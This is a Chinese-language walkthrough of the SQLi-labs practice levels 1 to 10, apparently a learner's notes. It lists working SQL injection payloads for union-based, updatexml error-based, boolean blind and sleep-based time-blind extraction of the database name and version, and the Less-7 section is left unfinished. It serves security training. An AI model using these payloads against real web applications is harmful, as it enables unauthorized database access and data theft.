Less-1（联合查询）

1.查看是否有回显

2.查看是否有报错

3.使用联合查询（字符注入）

3.1判断其列数

3.2 判断显示位置

3.3敏感信息查询

Less-2（联合查询）

1.查看是否有回显

2.查看是否有报错

3.使用联合查询（数字型注入）

3.1判断其列数

3.2 判断显示位置

3.3敏感信息查询

Less-3（联合查询）

1.查看是否有回显

2.查看是否有报错

3.使用联合查询（数字型注入）

3.1判断其列数

3.2 判断显示位置

3.3敏感信息查询

Less-4（联合查询）

1.查看是否有回显

2.查看是否有报错

3.使用联合查询（数字型注入）

3.1判断其列数

3.2 判断显示位置

3.3敏感信息查询

Less-5（错误注入）

1.无显示

2.有错误

3.使用错误注入

Less-6（错误注入）

1.无显示

2.有错误

3.使用错误注入

Less-7（读写文件）

1.查看是否有回显

Less-8（布尔盲注）

1.没有回显

2.没有报错

3.布尔盲注获取数据库名

4.计算数据库名字的位数

5.猜测每一位

Less-9（延时注入--1‘）

1.没有回显

2.没有报错

3.使用延时注入

4.分别查看每一位

Less-10(延时注入--1“)

1.没有回显

2.没有报错

3.使用延时注入

4.分别查看每一位

---

Less-1（联合查询）

1.查看是否有回显

?id=1

2.查看是否有报错

?id=2'

3.使用联合查询（字符注入）

3.1判断其列数

?2' order by 4 --+
判断有3列

3.2 判断显示位置

?id=2' and 1=2 union select 1,2,3 --+
此处为字符型注入，要确定前一段为假

3.3敏感信息查询

?id=2' and 1=2 union select 1,version(),database() --+
​
version() --版本号  ：5.7.26
database()--数据库名称 ： security

Less-2（联合查询）

1.查看是否有回显

?id=1

2.查看是否有报错

?id=2'

3.使用联合查询（数字型注入）

3.1判断其列数

?2' order by 4 --+
判断有3列

3.2 判断显示位置

?id=2' and 1=2 union select 1,2,3 --+
此处为字符型注入，要确定前一段为假

3.3敏感信息查询

?id=2' and 1=2 union select 1,version(),database() --+
​
version() --版本号  ：5.7.26
database()--数据库名称 ： security

Less-3（联合查询）

1.查看是否有回显

?id=1

2.查看是否有报错

?id=2'

3.使用联合查询（数字型注入）

3.1判断其列数

?2') order by 4 --+
判断有3列

3.2 判断显示位置

?id=2') and 1=2 union select 1,2,3 --+
此处为字符型注入，要确定前一段为假

3.3敏感信息查询

?id=2') and 1=2 union select 1,version(),database() --+
​
version() --版本号  ：5.7.26
database()--数据库名称 ： security

Less-4（联合查询）

1.查看是否有回显

?id=1

2.查看是否有报错

?id=2"

3.使用联合查询（数字型注入）

3.1判断其列数

?2") order by 4 --+
判断有3列

3.2 判断显示位置

?id=2") and 1=2 union select 1,2,3 --+
此处为字符型注入，要确定前一段为假

3.3敏感信息查询

?id=2") and 1=2 union select 1,version(),database() --+
​
version() --版本号  ：5.7.26
database()--数据库名称 ： security

Less-5（错误注入）

1.无显示

2.有错误

3.使用错误注入

?id=2 ' and updatexml(1,concat(0x5e,(select database()),0x5e),1) --+

Less-6（错误注入）

1.无显示

2.有错误

3.使用错误注入

?id=2 ' and updatexml(1,concat(0x5e,(select database()),0x5e),1) --+

Less-7（读写文件）

1.查看是否有回显

根据 Use outfile判断，此处使用写入文件的方式

2.

Less-8（布尔盲注）

1.没有回显

2.没有报错

3.布尔盲注获取数据库名

?id=2' and database()='ajest' --+
没有显示，成本太高

4.计算数据库名字的位数

?id=2' and length(database())>0 --+
?id=2' and length(database())=8 --+
​
显示八位
​

5.猜测每一位

?id=2' and ascii(substr((select database()),1,1))=115 --+

115 s

101 e

99 c

117 u

114 r

105 i

116 t

121 y

数据库：security

Less-9（延时注入--1‘）

1.没有回显

?id=1

2.没有报错

?id=1'

3.使用延时注入

?id=1' and if(length((select version()))=6,sleep(5),1) --+
​
版本号共有6位

4.分别查看每一位

?id=1' and if(ascii(substr((select version()),1,1))=53,sleep(5),1) --+

53 5

46 .

55 7

46 .

50 2

54 6

版本号 ：5.7.26

Less-10(延时注入--1“)

1.没有回显

?id=1

2.没有报错

?id=1"

3.使用延时注入

?id=1" and if(length((select version()))=6,sleep(5),1) --+
​
版本号共有6位

4.分别查看每一位

?id=1" and if(ascii(substr((select version()),1,1))=53,sleep(5),1) --+

53 5

46 .

55 7

46 .

50 2

54 6

版本号 ：5.7.26